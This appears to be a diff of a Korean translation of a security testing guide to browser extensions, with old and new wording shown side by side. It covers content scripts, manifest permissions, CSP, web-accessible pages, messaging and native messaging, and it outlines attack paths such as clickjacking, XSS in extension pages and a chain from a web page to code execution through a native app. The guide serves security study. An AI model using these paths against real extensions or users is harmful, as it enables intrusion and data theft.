또한, 콘텐츠 스크립트는 **별도의 JavaScript 힙에서 실행**되어 관련 웹 페이지와 분리됩니다. 콘텐츠 스크립트와 웹 페이지는 **같은 기본 DOM에 접근**할 수 있지만, 두 개는 **JavaScript 포인터를 교환하지 않**아 JavaScript 기능의 유출을 방지합니다. 또한, 콘텐츠 스크립트는 **별도의 JavaScript 힙**에서 실행되어 관련 웹 페이지와 분리됩니다. 콘텐츠 스크립트와 웹 페이지는 **같은 기본 DOM에 접근**할 수 있지만, 두 개는 **JavaScript 포인터를 교환하지 않**아 JavaScript 기능의 유출을 방지합니다.
## **`manifest.json`** ## **`manifest.json`**
@ -84,7 +84,7 @@ Example:
``` ```
### `content_scripts` ### `content_scripts`
Content scripts는 사용자가 **일치하는 페이지로 이동할 때마다** **로드**됩니다. 이 경우 **`https://example.com/*`** 표현과 일치하는 모든 페이지이지만 **`*://*/*/business*`** 정규 표현식과 일치하지 않습니다. 이들은 **페이지의 자체 스크립트처럼** 실행되며 페이지의 [Document Object Model (DOM)](https://developer.mozilla.org/en-US/docs/Web/API/Document\_Object\_Model)에 임의로 접근할 수 있습니다. Content scripts는 사용자가 **일치하는 페이지로 이동할 때** **로드**됩니다. 이 경우 **`https://example.com/*`** 표현과 일치하는 모든 페이지이 **`*://*/*/business*`** 정규 표현식과 일치하지 않습니다. 이들은 **페이지의 자체 스크립트처럼** 실행되며 페이지의 [Document Object Model (DOM)](https://developer.mozilla.org/en-US/docs/Web/API/Document\_Object\_Model)에 임의로 접근할 수 있습니다.
```json ```json
"content_scripts": [ "content_scripts": [
{ {
@ -101,7 +101,7 @@ Content scripts는 사용자가 **일치하는 페이지로 이동할 때마다*
``` ```
더 많은 URL을 포함하거나 제외하기 위해 **`include_globs`** 및 **`exclude_globs`**를 사용할 수도 있습니다. 더 많은 URL을 포함하거나 제외하기 위해 **`include_globs`** 및 **`exclude_globs`**를 사용할 수도 있습니다.
이것은 [저장소 API](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/storage)를 사용하여 확장 프로그램의 저장소에서 `message` 값을 검색할 때 페이지에 설명 버튼을 추가하는 예제 콘텐츠 스크립트입니다. 다음은 [저장소 API](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/storage)를 사용하여 확장 프로그램의 저장소에서 `message` 값을 검색할 때 페이지에 설명 버튼을 추가하는 예제 콘텐츠 스크립트입니다.
```js ```js
chrome.storage.local.get("message", result => chrome.storage.local.get("message", result =>
{ {
@ -116,11 +116,11 @@ document.body.appendChild(div);
``` ```
<figure><img src="../../.gitbook/assets/image (23).png" alt=""><figcaption></figcaption></figure> <figure><img src="../../.gitbook/assets/image (23).png" alt=""><figcaption></figcaption></figure>
이 버튼이 클릭되면 콘텐츠 스크립트에 의해 확장 페이지로 메시지가 전송됩니다. 이는 [**runtime.sendMessage() API**](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/runtime/sendMessage)를 활용하여 이루어집니다. 콘텐츠 스크립트는 API에 직접 접근하는 데 제한이 있으며, `storage`가 몇 가지 예외 중 하나입니다. 이러한 예외를 넘어서는 기능을 위해서는 콘텐츠 스크립트가 통신할 수 있는 확장 페이지로 메시지가 전송됩니다. 이 버튼이 클릭되면 콘텐츠 스크립트에 의해 확장 페이지로 메시지가 전송됩니다. 이는 [**runtime.sendMessage() API**](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/runtime/sendMessage)를 활용한 것입니다. 콘텐츠 스크립트는 API에 직접 접근하는 데 제한이 있으며, `storage`가 몇 가지 예외 중 하나입니다. 이러한 예외를 넘어서는 기능을 위해서는 콘텐츠 스크립트가 통신할 수 있는 확장 페이지로 메시지가 전송됩니다.
{% hint style="warning" %} {% hint style="warning" %}
브라우저에 따라 콘텐츠 스크립트의 기능이 약간 다를 수 있습니다. Chromium 기반 브라우저의 경우 기능 목록은 [Chrome Developers documentation](https://developer.chrome.com/docs/extensions/mv3/content\_scripts/#capabilities)에서 확인할 수 있으며, Firefox의 경우 [MDN](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/Content\_scripts#webextension\_apis)이 주요 출처입니다.\ 브라우저에 따라 콘텐츠 스크립트의 기능이 약간 다를 수 있습니다. Chromium 기반 브라우저의 경우 기능 목록은 [Chrome Developers documentation](https://developer.chrome.com/docs/extensions/mv3/content\_scripts/#capabilities)에서 확인할 수 있으며, Firefox의 경우 [MDN](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/Content\_scripts#webextension\_apis)이 주요 출처입니다.\
또한 콘텐츠 스크립트는 백그라운드 스크립트와 통신할 수 있는 능력이 있어, 이를 통해 작업을 수행하고 응답을 전달할 수 있다는 점도 주목할 만합니다. 또한 콘텐츠 스크립트는 백그라운드 스크립트와 통신할 수 있는 능력이 있어, 작업을 수행하고 응답을 전달할 수 있다는 점도 주목할 만합니다.
{% endhint %} {% endhint %}
Chrome에서 콘텐츠 스크립트를 보기 및 디버깅하려면 Chrome 개발자 도구 메뉴에 접근할 수 있습니다: 옵션 > 추가 도구 > 개발자 도구 또는 Ctrl + Shift + I를 눌러서 접근할 수 있습니다. Chrome에서 콘텐츠 스크립트를 보기 및 디버깅하려면 Chrome 개발자 도구 메뉴에 접근할 수 있습니다: 옵션 > 추가 도구 > 개발자 도구 또는 Ctrl + Shift + I를 눌러서 접근할 수 있습니다.
@ -130,10 +130,10 @@ Chrome에서 콘텐츠 스크립트를 보기 및 디버깅하려면 Chrome 개
### 주입된 콘텐츠 스크립트 ### 주입된 콘텐츠 스크립트
{% hint style="success" %} {% hint style="success" %}
**콘텐츠 스크립트는 필수적이지 않**으며, **동적으로** **주입**하거나 **`tabs.executeScript`**를 통해 웹 페이지에 **프로그래밍 방식으로 주입**할 수 있습니다. 이는 실제로 더 **세밀한 제어**를 제공합니다. **콘텐츠 스크립트는 필수적이지 않습니다.** 웹 페이지에 **동적으로** **주입**하거나 **프로그래밍 방식으로 주입**할 수 있는 스크립트를 **`tabs.executeScript`**를 통해 주입할 수 있습니다. 이는 실제로 더 **세밀한 제어**를 제공합니다.
{% endhint %} {% endhint %}
콘텐츠 스크립트를 프로그래밍 방식으로 주입하기 위해서는 확장이 스크립트를 주입할 페이지에 대한 [호스트 권한](https://developer.chrome.com/docs/extensions/reference/permissions)을 가져야 합니다. 이러한 권한은 확장의 매니페스트 내에서 **요청**하거나 [**activeTab**](https://developer.chrome.com/docs/extensions/reference/manifest/activeTab)을 통해 임시로 확보할 수 있습니다. 콘텐츠 스크립트를 프로그래밍 방식으로 주입하려면 확장이 스크립트를 주입할 페이지에 대한 [호스트 권한](https://developer.chrome.com/docs/extensions/reference/permissions)을 가져야 합니다. 이러한 권한은 확장의 매니페스트 내에서 **요청**하거나 [**activeTab**](https://developer.chrome.com/docs/extensions/reference/manifest/activeTab)을 통해 임시로 확보할 수 있습니다.
#### 예시 activeTab 기반 확장 #### 예시 activeTab 기반 확장
@ -196,7 +196,7 @@ js : [ "contentScript.js" ],
// Another example // Another example
chrome.tabs.executeScript(tabId, { file: "content_script.js" }); chrome.tabs.executeScript(tabId, { file: "content_script.js" });
``` ```
더 많은 URL을 포함하거나 제외하려면 **`include_globs`** 및 **`exclude_globs`**를 사용할 수 있습니다. 더 많은 URL을 포함하거나 제외하려면 **`include_globs`** 및 **`exclude_globs`**를 사용할 수 있습니다.
### 콘텐츠 스크립트 `run_at` ### 콘텐츠 스크립트 `run_at`
@ -265,26 +265,26 @@ To debug the background script you could go to the **extension details and inspe
### 옵션 페이지 및 기타 ### 옵션 페이지 및 기타
Browser extensions can contain various kinds of pages: 브라우저 확장 프로그램은 다양한 종류의 페이지를 포함할 수 있습니다:
* **액션 페이지**는 **확장 아이콘**을 클릭할 때 드롭다운에 표시됩니다. * **작업 페이지**는 **확장 아이콘**을 클릭할 때 드롭다운에 표시됩니다.
* 확장이 **새 탭에서 로드할** 페이지. * 확장 프로그램**새 탭에서 로드할 페이지**.
* **옵션 페이지**: 이 페이지는 클릭할 때 확장 위에 표시됩니다. 이전 매니페스트에서 제 경우에`chrome://extensions/?options=fadlhnelkbeojnebcbkacjilhnbjfjca`에서 이 페이지에 접근할 수 있었거나 클릭하여: * **옵션 페이지**: 이 페이지는 클릭 시 확장 프로그램 위에 표시됩니다. 이전 매니페스트에서는 `chrome://extensions/?options=fadlhnelkbeojnebcbkacjilhnbjfjca`에서 이 페이지에 접근할 수 있었거나 클릭하여 접근할 수 있었습니다:
<figure><img src="../../.gitbook/assets/image (24).png" alt="" width="375"><figcaption></figcaption></figure> <figure><img src="../../.gitbook/assets/image (24).png" alt="" width="375"><figcaption></figcaption></figure>
Note that these pages aren't persistent like background pages as they load dynamically content on necessity. Despite this, they share certain capabilities with the background page: 이 페이지들은 필요에 따라 동적으로 콘텐츠를 로드하므로 백그라운드 페이지처럼 지속적이지 않다는 점에 유의하세요. 그럼에도 불구하고, 이들은 백그라운드 페이지와 특정 기능을 공유합니다:
* **Content Scripts와의 통신:** 배경 페이지와 유사하게, 이러한 페이지는 콘텐츠 스크립트로부터 메시지를 받을 수 있어 확장 내 상호작용을 촉진합니다. * **콘텐츠 스크립트와의 통신:** 백그라운드 페이지와 유사하게, 이 페이지들은 콘텐츠 스크립트로부터 메시지를 받을 수 있어 확장 프로그램 에서의 상호작용을 촉진합니다.
* **확장 전용 API에 대한 접근:** 이러한 페이지는 확장에 대해 정의된 권한에 따라 확장 전용 API에 대한 포괄적인 접근을 누립니다. * **확장 프로그램 전용 API 접근:** 이 페이지들은 확장 프로그램에 대해 정의된 권한에 따라 확장 프로그램 전용 API에 대한 포괄적인 접근을 누립니다.
### `permissions` & `host_permissions` ### `permissions` & `host_permissions`
**`permissions`**와 **`host_permissions`**는 `manifest.json`의 항목으로, **어떤 권한**(저장소, 위치 등)을 브라우저 확장이 가지고 있는지와 **어떤 웹 페이지**에서 이를 사용할 수 있는지를 나타냅니다. **`permissions`**와 **`host_permissions`**는 `manifest.json`의 항목으로, **브라우저 확장 프로그램이 어떤 권한**(저장소, 위치 등)을 가지고 있는지와 **어떤 웹 페이지에서** 이를 사용할 수 있는지를 나타냅니다.
브라우저 확장이 매우 **특권적**일 수 있기 때문에, 악의적인 확장이나 손상된 확장은 공격자가 **민감한 정보를 훔치고 사용자에 대해 스파이할 수 있는 다양한 수단을 허용할 수 있습니다.** 브라우저 확장 프로그램은 매우 **특권적**일 수 있으므로, 악의적인 확장 프로그램이나 손상된 확장 프로그램은 공격자가 **민감한 정보를 훔치고 사용자에 대해 스파이할 수 있는 다양한 수단을 허용할 수 있습니다**.
이 설정이 어떻게 작동하는지 및 어떻게 남용될 수 있는지 확인하십시오: 이 설정이 어떻게 작동하는지 및 어떻게 악용될 수 있는지 확인하세요:
{% content-ref url="browext-permissions-and-host_permissions.md" %} {% content-ref url="browext-permissions-and-host_permissions.md" %}
[browext-permissions-and-host\_permissions.md](browext-permissions-and-host\_permissions.md) [browext-permissions-and-host\_permissions.md](browext-permissions-and-host\_permissions.md)
@ -292,13 +292,13 @@ Note that these pages aren't persistent like background pages as they load dynam
### `content_security_policy` ### `content_security_policy`
**콘텐츠 보안 정책**은 `manifest.json` 내에서도 선언할 수 있습니다. 정의된 것이 있다면, **취약할 수 있습니다.** **콘텐츠 보안 정책**은 `manifest.json` 내에서도 선언할 수 있습니다. 정의된 것이 있다면, **취약할 수 있습니다**.
브라우저 확장 페이지의 기본 설정은 다소 제한적입니다: 브라우저 확장 페이지의 기본 설정은 다소 제한적입니다:
```bash ```bash
script-src 'self'; object-src 'self'; script-src 'self'; object-src 'self';
``` ```
CSP 및 잠재적 우회에 대한 자세한 내용은 다음을 확인하세요: CSP 및 잠재적 우회에 대한 자세한 내용은 다음을 확인하십시오:
{% content-ref url="../content-security-policy-csp-bypass/" %} {% content-ref url="../content-security-policy-csp-bypass/" %}
[content-security-policy-csp-bypass](../content-security-policy-csp-bypass/) [content-security-policy-csp-bypass](../content-security-policy-csp-bypass/)
@ -328,38 +328,38 @@ CSP 및 잠재적인 우회에 대한 자세한 내용은 다음을 확인하세
``` ```
chrome-extension://<extension-id>/message.html chrome-extension://<extension-id>/message.html
``` ```
공개 확장 프로그램에서 **extension-id에 접근할 수 있습니다**: 공개 확장에서 **extension-id에 접근할 수 있습니다**:
<figure><img src="../../.gitbook/assets/image (1194).png" alt="" width="375"><figcaption></figcaption></figure> <figure><img src="../../.gitbook/assets/image (1194).png" alt="" width="375"><figcaption></figcaption></figure>
하지만, `manifest.json` 매개변수 **`use_dynamic_url`**이 사용되면, 이 **id는 동적일 수 있습니다**. 하지만, `manifest.json` 매개변수 **`use_dynamic_url`**이 사용되면, 이 **id는 동적일 수 있습니다**.
{% hint style="success" %} {% hint style="success" %}
여기에서 페이지가 언급되더라도, **Content Security Policy** 덕분에 **ClickJacking**에 대해 **보호될 수 있습니다**. 따라서 ClickJacking 공격이 가능한지 확인하기 전에 이를 (frame-ancestors 섹션) 확인해야 합니다. 여기 언급된 페이지가 있더라도, **Content Security Policy** 덕분에 **ClickJacking**에 대해 **보호될 수 있습니다**. 따라서 ClickJacking 공격이 가능한지 확인하기 전에 (frame-ancestors 섹션) 이를 확인해야 합니다.
{% endhint %} {% endhint %}
러한 페이지에 접근할 수 있는 것은 이 페이지들이 **잠재적으로 ClickJacking에 취약할 수 있음을 의미합니다**: 이 페이지에 접근할 수 있는 것은 이 페이지들이 **잠재적으로 ClickJacking에 취약할 수 있음을 의미합니다**:
{% content-ref url="browext-clickjacking.md" %} {% content-ref url="browext-clickjacking.md" %}
[browext-clickjacking.md](browext-clickjacking.md) [browext-clickjacking.md](browext-clickjacking.md)
{% endcontent-ref %} {% endcontent-ref %}
{% hint style="success" %} {% hint style="success" %}
러한 페이지가 확장 프로그램에 의해서만 로드되고 무작위 URL에 의해 로드되지 않도록 허용하면 ClickJacking 공격을 방지할 수 있습니다. 페이지들이 무작위 URL이 아닌 확장만 로드할 수 있도록 허용하면 ClickJacking 공격을 방지할 수 있습니다.
{% endhint %} {% endhint %}
{% hint style="danger" %} {% hint style="danger" %}
**`web_accessible_resources`**의 페이지와 확장의 다른 페이지들도 **백그라운드 스크립트에 연락할 수 있습니다**. 따라서 이러한 페이지 중 하나가 **XSS**에 취약하다면 더 큰 취약점을 열 수 있습니다. **`web_accessible_resources`**의 페이지와 확장의 다른 페이지들도 **백그라운드 스크립트에 연락할 수 있습니다**. 따라서 이러한 페이지 중 하나가 **XSS**에 취약하다면 더 큰 취약점을 열 수 있습니다.
또한, **`web_accessible_resources`**에 표시된 페이지만 iframe 내에서 열 수 있지만, 새 탭에서 확장 ID를 알고 있으면 확장의 모든 페이지에 접근할 수 있습니다. 따라서 동일한 매개변수를 악용하는 XSS가 발견되면, 페이지가 **`web_accessible_resources`**에 구성되어 있지 않더라도 악용될 수 있습니다. 또한, **`web_accessible_resources`**에 표시된 페이지는 iframe 내에서만 열 수 있지만, 새 탭에서 확장 ID를 알고 있으면 확장의 모든 페이지에 접근할 수 있습니다. 따라서 동일한 매개변수를 악용하는 XSS가 발견되면, 페이지가 **`web_accessible_resources`**에 구성되어 있지 않더라도 악용될 수 있습니다.
{% endhint %} {% endhint %}
### `externally_connectable` ### `externally_connectable`
[**문서**](https://developer.chrome.com/docs/extensions/reference/manifest/externally-connectable)에 따르면, `"externally_connectable"` 매니페스트 속성은 **어떤 확장 프로그램과 웹 페이지가** [runtime.connect](https://developer.chrome.com/docs/extensions/reference/runtime#method-connect) 및 [runtime.sendMessage](https://developer.chrome.com/docs/extensions/reference/runtime#method-sendMessage)를 통해 귀하의 확장 프로그램에 연결할 수 있는지를 선언합니다. [**문서**](https://developer.chrome.com/docs/extensions/reference/manifest/externally-connectable)에 따르면, `"externally_connectable"` 매니페스트 속성은 **어떤 확장과 웹 페이지가** [runtime.connect](https://developer.chrome.com/docs/extensions/reference/runtime#method-connect) 및 [runtime.sendMessage](https://developer.chrome.com/docs/extensions/reference/runtime#method-sendMessage)를 통해 귀하의 확장에 연결할 수 있는지를 선언합니다.
* **`externally_connectable`** 키가 귀하의 확장 프로그램의 매니페스트에 **선언되지 않았거나** **`"ids": ["*"]`**로 선언된 경우, **모든 확장 프로그램이 연결할 수 있지만, 웹 페이지는 연결할 수 없습니다**. * **`externally_connectable`** 키가 귀하의 확장 매니페스트에 **선언되지 않았거나** **`"ids": ["*"]`**로 선언된 경우, **모든 확장이 연결할 수 있지만, 웹 페이지는 연결할 수 없습니다**.
* **특정 ID가 지정된 경우**, 예를 들어 `"ids": ["aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa"]`와 같이, **오직 해당 애플리케이션만** 연결할 수 있습니다. * **특정 ID가 지정된 경우**, 예를 들어 `"ids": ["aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa"]`, **오직 해당 애플리케이션만** 연결할 수 있습니다.
* **matches**가 지정된 경우, 해당 웹 앱은 연결할 수 있습니다: * **matches**가 지정된 경우, 해당 웹 앱은 연결할 수 있습니다:
```json ```json
"matches": [ "matches": [
@ -375,14 +375,14 @@ chrome-extension://<extension-id>/message.html
따라서, 이는 **매우 강력한 우회**입니다. 따라서, 이는 **매우 강력한 우회**입니다.
게다가, 클라이언트가 악성 확장을 설치하면, 취약한 확장과 통신할 수 없더라도 **허용된 웹 페이지에 XSS 데이터를 주입**하거나 **`WebRequest`** 또는 **`DeclarativeNetRequest`** API를 용하여 특정 도메인에서 요청을 조작하고 **JavaScript 파일**에 대한 페이지 요청을 변경할 수 있습니다. (대상 페이지의 CSP가 이러한 공격을 방지할 수 있습니다). 이 아이디어는 [**이 글**](https://www.darkrelay.com/post/opera-zero-day-rce-vulnerability)에서 나왔습니다. 게다가, 클라이언트가 악성 확장을 설치하면, 취약한 확장과 통신할 수 없더라도 **허용된 웹 페이지에 XSS 데이터를 주입**하거나 **`WebRequest`** 또는 **`DeclarativeNetRequest`** API를 용하여 특정 도메인에서 요청을 조작하고 **JavaScript 파일**에 대한 페이지 요청을 변경할 수 있습니다. (대상 페이지의 CSP가 이러한 공격을 방지할 수 있습니다). 이 아이디어는 [**이 글**](https://www.darkrelay.com/post/opera-zero-day-rce-vulnerability)에서 나왔습니다.
{% endhint %} {% endhint %}
## 통신 요약 ## 통신 요약
### 확장 <--> 웹앱 ### 확장 <--> 웹앱
콘텐츠 스크립트와 웹 페이지 간의 통신에는 일반적으로 포스트 메시지가 사용됩니다. 따라서 웹 애플리케이션에서는 일반적으로 **`window.postMessage`** 함수 호출을 찾을 수 있으며, 콘텐츠 스크립트에서는 **`window.addEventListener`**와 같은 리스너를 찾을 수 있습니다. 그러나 확장이 **Post Message를 보내 웹 애플리케이션과 통신**할 수도 있으며 (따라서 웹은 이를 예상해야 함) 웹이 새 스크립트를 로드하도록 만들 수도 있습니다. Content script와 웹 페이지 간의 통신에는 일반적으로 포스트 메시지가 사용됩니다. 따라서 웹 애플리케이션에서는 일반적으로 **`window.postMessage`** 함수 호출을 찾을 수 있으며, Content script에서는 **`window.addEventListener`**와 같은 리스너를 찾을 수 있습니다. 그러나 확장이 **Post Message를 보내 웹 애플리케이션과 통신**할 수도 있으며 (따라서 웹은 이를 예상해야 함) 웹이 새 스크립트를 로드하도록 만들 수도 있습니다.
### 확장 내부 ### 확장 내부
@ -443,7 +443,7 @@ console.log('Received ' + response);
``` ```
## Web **↔︎** Content Script Communication ## Web **↔︎** Content Script Communication
**콘텐츠 스크립트**가 작동하는 환경과 호스트 페이지가 존재하는 환경은 **분리**되어 있어 **격리**를 보장합니다. 이러한 격리에도 불구하고 두 환경 모두 페이지의 **문서 객체 모델(DOM)**과 상호작용할 수 있는 능력을 가지고 있습니다. 호스트 페이지가 **콘텐츠 스크립트**와 통신하거나 콘텐츠 스크립트를 통해 확장과 간접적으로 통신하기 위해서는 두 당사자가 접근할 수 있는 **DOM**을 통신 채널로 활용해야 합니다. **콘텐츠 스크립트**가 작동하는 환경과 호스트 페이지가 존재하는 환경은 **분리**되어 있어 **격리**를 보장합니다. 이러한 격리에도 불구하고, 두 환경 모두 페이지의 **문서 객체 모델(DOM)**과 상호작용할 수 있는 능력을 가지고 있습니다. 호스트 페이지가 **콘텐츠 스크립트**와 통신하거나 콘텐츠 스크립트를 통해 확장과 간접적으로 통신하기 위해서는, 두 당사자가 접근할 수 있는 **DOM**을 통신 채널로 활용해야 합니다.
### Post Messages ### Post Messages
@ -480,11 +480,11 @@ window.postMessage(
* **`event.isTrusted`**: 이 값은 이벤트가 사용자 행동에 의해 트리거된 경우에만 True입니다. * **`event.isTrusted`**: 이 값은 이벤트가 사용자 행동에 의해 트리거된 경우에만 True입니다.
* 콘텐츠 스크립트는 사용자가 특정 행동을 수행할 때만 메시지를 기대할 수 있습니다. * 콘텐츠 스크립트는 사용자가 특정 행동을 수행할 때만 메시지를 기대할 수 있습니다.
* **origin domain**: 메시지를 기대할 수 있는 도메인의 허용 목록만 허용합니다. * **origin domain**: 메시지를 기대할 수 있는 도메인의 화이트리스트만 허용할 수 있습니다.
* 정규 표현식을 사용하는 경우, 매우 주의해야 합니다. * 정규 표현식을 사용하는 경우, 매우 주의해야 합니다.
* **Source**: `received_message.source !== window`를 사용하여 메시지가 **콘텐츠 스크립트가 수신 대기 중인 동일한 창**에서 온 것인지 확인할 수 있습니다. * **Source**: `received_message.source !== window`를 사용하여 메시지가 **콘텐츠 스크립트가 수신 대기 중인 동일한 창**에서 온 것인지 확인할 수 있습니다.
이전의 확인 사항이 수행되었더라도 취약할 수 있으므로 다음 페이지에서 **잠재적인 Post Message 우회**를 확인하십시오: 이전의 확인 사항들은 수행되더라도 취약할 수 있으므로, 다음 페이지에서 **잠재적인 Post Message 우회**를 확인하십시오:
{% content-ref url="../postmessage-vulnerabilities/" %} {% content-ref url="../postmessage-vulnerabilities/" %}
[postmessage-vulnerabilities](../postmessage-vulnerabilities/) [postmessage-vulnerabilities](../postmessage-vulnerabilities/)
@ -500,9 +500,9 @@ window.postMessage(
### DOM ### DOM
이것은 "정확히" 통신 방법은 아니지만, **웹과 콘텐츠 스크립트는 웹 DOM에 접근할 수 있습니다**. 따라서 **콘텐츠 스크립트**가 그로부터 정보를 읽고 **웹 DOM을 신뢰하는 경우**, 웹은 **이 데이터를 수정할 수 있습니다** (웹을 신뢰해서는 안 되거나, 웹이 XSS에 취약하기 때문에) 그리고 **콘텐츠 스크립트를 손상시킬 수 있습니다**. 이것은 "정확히" 통신 방법은 아니지만, **웹과 콘텐츠 스크립트는 웹 DOM에 접근할 수 있습니다**. 따라서 **콘텐츠 스크립트**가 그로부터 정보를 읽고 **웹 DOM을 신뢰하는 경우**, 웹은 이 데이터를 **수정할 수 있습니다** (웹을 신뢰해서는 안 되거나, 웹이 XSS에 취약하기 때문에) 그리고 **콘텐츠 스크립트를 손상시킬 수 있습니다**.
**브라우저 확장을 손상시키기 위한 DOM 기반 XSS의 예시** 다음에서 찾을 수 있습니다: **브라우저 확장을 손상시키기 위한 DOM 기반 XSS의 예시** 다음에서 찾을 수 있습니다:
{% content-ref url="browext-xss-example.md" %} {% content-ref url="browext-xss-example.md" %}
[browext-xss-example.md](browext-xss-example.md) [browext-xss-example.md](browext-xss-example.md)
@ -532,7 +532,7 @@ const response = await chrome.tabs.sendMessage(tab.id, {greeting: "hello"});
console.log(response); console.log(response);
})(); })();
``` ```
On the **receiving end**, you need to set up an [**runtime.onMessage**](https://developer.chrome.com/docs/extensions/reference/runtime#event-onMessage) **event listener** to handle the message. This looks the same from a content script or extension page. 수신 측에서는 메시지를 처리하기 위해 [**runtime.onMessage**](https://developer.chrome.com/docs/extensions/reference/runtime#event-onMessage) **이벤트 리스너**를 설정해야 합니다. 이는 콘텐츠 스크립트나 확장 페이지에서 동일하게 보입니다.
```javascript ```javascript
// From https://stackoverflow.com/questions/70406787/javascript-send-message-from-content-js-to-background-js // From https://stackoverflow.com/questions/70406787/javascript-send-message-from-content-js-to-background-js
chrome.runtime.onMessage.addListener( chrome.runtime.onMessage.addListener(
@ -547,13 +547,13 @@ sendResponse({farewell: "goodbye"});
``` ```
예제에서 강조된 바와 같이, **`sendResponse()`**는 동기 방식으로 실행되었습니다. `sendResponse()`의 비동기 실행을 위해 `onMessage` 이벤트 핸들러를 수정하려면 `return true;`를 포함하는 것이 필수적입니다. 예제에서 강조된 바와 같이, **`sendResponse()`**는 동기 방식으로 실행되었습니다. `sendResponse()`의 비동기 실행을 위해 `onMessage` 이벤트 핸들러를 수정하려면 `return true;`를 포함하는 것이 필수적입니다.
중요한 고려 사항은 여러 페이지가 `onMessage` 이벤트를 수신하도록 설정된 시나리오에서 **특정 이벤트에 대해 `sendResponse()`를 실행하는 첫 번째 페이지**만이 응답을 효과적으로 전달할 수 있다는 입니다. 동일한 이벤트에 대한 후속 응답은 고려되지 않습니다. 중요한 고려사항은 여러 페이지가 `onMessage` 이벤트를 수신하도록 설정된 시나리오에서, **특정 이벤트에 대해 `sendResponse()`를 실행하는 첫 번째 페이지**만이 응답을 효과적으로 전달할 수 있다는 입니다. 동일한 이벤트에 대한 후속 응답은 고려되지 않습니다.
새로운 확장을 만들 때는 콜백보다 프로미스를 선호해야 합니다. 콜백 사용과 관련하여, `sendResponse()` 함수는 동기 컨텍스트 내에서 직접 실행되거나 이벤트 핸들러가 `true`를 반환하여 비동기 작업을 나타내는 경우에만 유효하다고 간주됩니다. 만약 어떤 핸들러도 `true`를 반환하지 않거나 `sendResponse()` 함수가 메모리에서 제거되면(가비지 수집됨), `sendMessage()` 함수와 연결된 콜백이 기본적으로 트리거됩니다. 새로운 확장을 만들 때는 콜백보다 프로미스를 선호해야 합니다. 콜백 사용과 관련하여, `sendResponse()` 함수는 동기 컨텍스트 내에서 직접 실행되거나 이벤트 핸들러가 `true`를 반환하여 비동기 작업을 나타내는 경우에만 유효하다고 간주됩니다. 만약 어떤 핸들러도 `true`를 반환하지 않거나 `sendResponse()` 함수가 메모리에서 제거되면(가비지 컬렉션), `sendMessage()` 함수와 연결된 콜백이 기본적으로 트리거됩니다.
## 네이티브 메시징 ## Native Messaging
브라우저 확장은 **stdin을 통해 시스템의 바이너리와 통신할 수** 있습니다. 애플리케이션은 이를 나타내는 json을 설치해야 하며, json은 다음과 같습니다: 브라우저 확장은 **stdin을 통해 시스템의 바이너리와 통신할 수 있도록** 허용합니다. 애플리케이션은 이를 나타내는 json을 설치해야 하며, json 형식은 다음과 같습니다:
```json ```json
{ {
"name": "com.my_company.my_application", "name": "com.my_company.my_application",
@ -563,7 +563,7 @@ sendResponse({farewell: "goodbye"});
"allowed_origins": ["chrome-extension://knldjmfmopnpolahpmmgbagdohdnhkik/"] "allowed_origins": ["chrome-extension://knldjmfmopnpolahpmmgbagdohdnhkik/"]
} }
``` ```
`name`은 브라우저 확장의 백그라운드 스크립트에서 애플리케이션과 통신하기 위해 [`runtime.connectNative()`](https://developer.chrome.com/docs/extensions/reference/api/runtime#method-connectNative) 또는 [`runtime.sendNativeMessage()`](https://developer.chrome.com/docs/extensions/reference/api/runtime#method-sendNativeMessage)에 전달되는 문자열입니다. `path`는 바이너리의 경로이며, 유효한 `type`은 stdio(표준 입력 및 표준 출력 사용) 하나뿐이고, `allowed_origins`이를 접근할 수 있는 확장을 나타냅니다(와일드카드를 사용할 수 없습니다). `name`은 브라우저 확장의 백그라운드 스크립트에서 애플리케이션과 통신하기 위해 [`runtime.connectNative()`](https://developer.chrome.com/docs/extensions/reference/api/runtime#method-connectNative) 또는 [`runtime.sendNativeMessage()`](https://developer.chrome.com/docs/extensions/reference/api/runtime#method-sendNativeMessage)에 전달되는 문자열입니다. `path`는 바이너리의 경로이며, 유효한 `type`은 stdio(표준 입력 및 표준 출력 사용) 하나뿐이고, `allowed_origins`는 접근할 수 있는 확장을 나타냅니다(와일드카드를 사용할 수 없습니다).
Chrome/Chromium은 이 json을 일부 Windows 레지스트리와 macOS 및 Linux의 일부 경로에서 검색합니다(자세한 정보는 [**docs**](https://developer.chrome.com/docs/extensions/develop/concepts/native-messaging)에서 확인할 수 있습니다). Chrome/Chromium은 이 json을 일부 Windows 레지스트리와 macOS 및 Linux의 일부 경로에서 검색합니다(자세한 정보는 [**docs**](https://developer.chrome.com/docs/extensions/develop/concepts/native-messaging)에서 확인할 수 있습니다).
@ -571,7 +571,7 @@ Chrome/Chromium은 이 json을 일부 Windows 레지스트리와 macOS 및 Linux
브라우저 확장은 이 통신을 사용하기 위해 `nativeMessaing` 권한을 선언해야 합니다. 브라우저 확장은 이 통신을 사용하기 위해 `nativeMessaing` 권한을 선언해야 합니다.
{% endhint %} {% endhint %}
이것은 네이티브 애플리케이션에 메시지를 보내는 일부 백그라운드 스크립트 코드의 모습입니다: 다음은 네이티브 애플리케이션에 메시지를 보내는 일부 백그라운드 스크립트 코드의 모습입니다:
```javascript ```javascript
chrome.runtime.sendNativeMessage( chrome.runtime.sendNativeMessage(
'com.my_company.my_application', 'com.my_company.my_application',
@ -588,7 +588,7 @@ In [**이 블로그 포스트**](https://spaceraccoon.dev/universal-code-executi
3. 백그라운드 스크립트는 `sendNativeMessage`를 사용하여 네이티브 애플리케이션에 메시지를 전달합니다. 3. 백그라운드 스크립트는 `sendNativeMessage`를 사용하여 네이티브 애플리케이션에 메시지를 전달합니다.
4. 네이티브 애플리케이션은 메시지를 위험하게 처리하여 코드 실행으로 이어집니다. 4. 네이티브 애플리케이션은 메시지를 위험하게 처리하여 코드 실행으로 이어집니다.
그리고 그 안에서 **브라우저 확장을 악용하여 어떤 페이지에서든 RCE로 가는 예가 설명됩니다**. 그리고 그 안에서 **브라우저 확장을 악용하여 어떤 페이지에서든 RCE로 가는 예가 설명됩니다**.
